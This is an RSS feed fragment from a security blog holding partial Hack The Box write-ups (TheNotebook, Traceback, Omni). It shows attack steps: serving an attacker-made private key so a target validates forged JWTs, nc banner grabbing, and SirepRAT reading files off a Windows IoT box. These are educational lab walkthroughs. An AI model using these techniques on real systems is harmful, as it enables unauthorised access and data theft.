<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">gop</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> serve</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -H</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.14.21</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -P</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7070</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Serve file to: http://10.10.14.21:7070 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /mnt/pentest/TheNotebook/AUDITOR/scripts/jwt_tool</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021.06.28</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 13:43:18] [10.129.175.236:49340] GET /priv.key</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021.06.28</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 13:43:18] [10.129.175.236:49340]</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GET</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /priv.key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP/1.1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> keep-alive</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User-Agent:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> python-requests/2.25.1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept-Encoding:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> gzip,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> deflate</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept:</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">*</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>So it might be possible to craft an arbitrary paylaod and let the server validate it with an arbirtratry key. I first begin to create a key :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">mkdir</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT-exploit</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">cd</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT-exploit</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ssh-keygen</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -t</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> rsa</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -b</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 4096</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -m</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> PEM</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -f</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> priv.key</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Generating</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> public/private</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> rsa</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pair.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> passphrase</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (empty </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> no</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> passphrase</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">):</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> same</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> passphrase</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> again:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Your</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> identification</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> has</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> been</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> saved</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> priv.key</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Your</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> public</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> has</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> been</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> saved</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> priv.key.pub</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> fingerprint</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">SHA256:14kXIjk67NBnK4zXmG1Z00EEMF6c8hcsas6GRa6I7sA</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root@Kali-HTB</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> key's randomart image is:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">+</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Traceback</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Traceback.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Traceback.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Traceback</source>
      <description>box_informationsbox_informations Recon As usual, we start with a port scan on the machine. The TCP port scan revealed that the following ports are open: open_tcp_ports_nmapopen_...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 15 Aug 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Recon</h2>
<p>As usual, we start with a port scan on the machine. The TCP port scan revealed that the following ports are open:</p>
<figure><figcaption>open_tcp_ports_nmap</figcaption></figure>
<h3>TCP/22 - SSH - Banner grabbing</h3>
<p>The SSH version could be retrieved with NetCat.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">➜</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> nc</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -nv</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.181</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 22</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Ncat:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Version</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7.80</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ( </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">https://nmap.org/ncat</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> )</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Ncat:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Connected</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 10.10.10.181:22.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">SSH-2.0-OpenSSH_7.6p1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Ubuntu-4ubuntu0.3</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>A custom banner was set on the server. It could be triggered when a connection is initiated.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">records</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ssh</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.181</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">#################################</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Omni</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-omni.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-omni.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Omni</source>
      <description>Scan As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open: open_tcp_ports_nmapopen_tcp_ports_nmap The different por...</description>
      <category>Write-Up</category>
      <pubDate>Sun, 10 Jan 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<h2>Scan</h2>
<p>As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open:</p>
<figure><figcaption>open_tcp_ports_nmap</figcaption></figure>
<p>The different ports were analysed. A web service that always returns an HTTP authentication page was discovered.
After multiple research, the <code>SirepRAT</code> repository was discovered.</p>
<h2>System enumeration</h2>
<p>Information about the box was gathered with Powershell and the output redirected to a file.
</p>
<p>The file was then read and a couple of interesting information was retrieved.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">➜ python2 SirepRAT.py  </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.204</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> GetFileFromDevice </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">--</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">as_logged_on_user </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">--</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">remote_path </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C:\Temp\data.txt"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> --</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">v</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
  </channel>
</rss>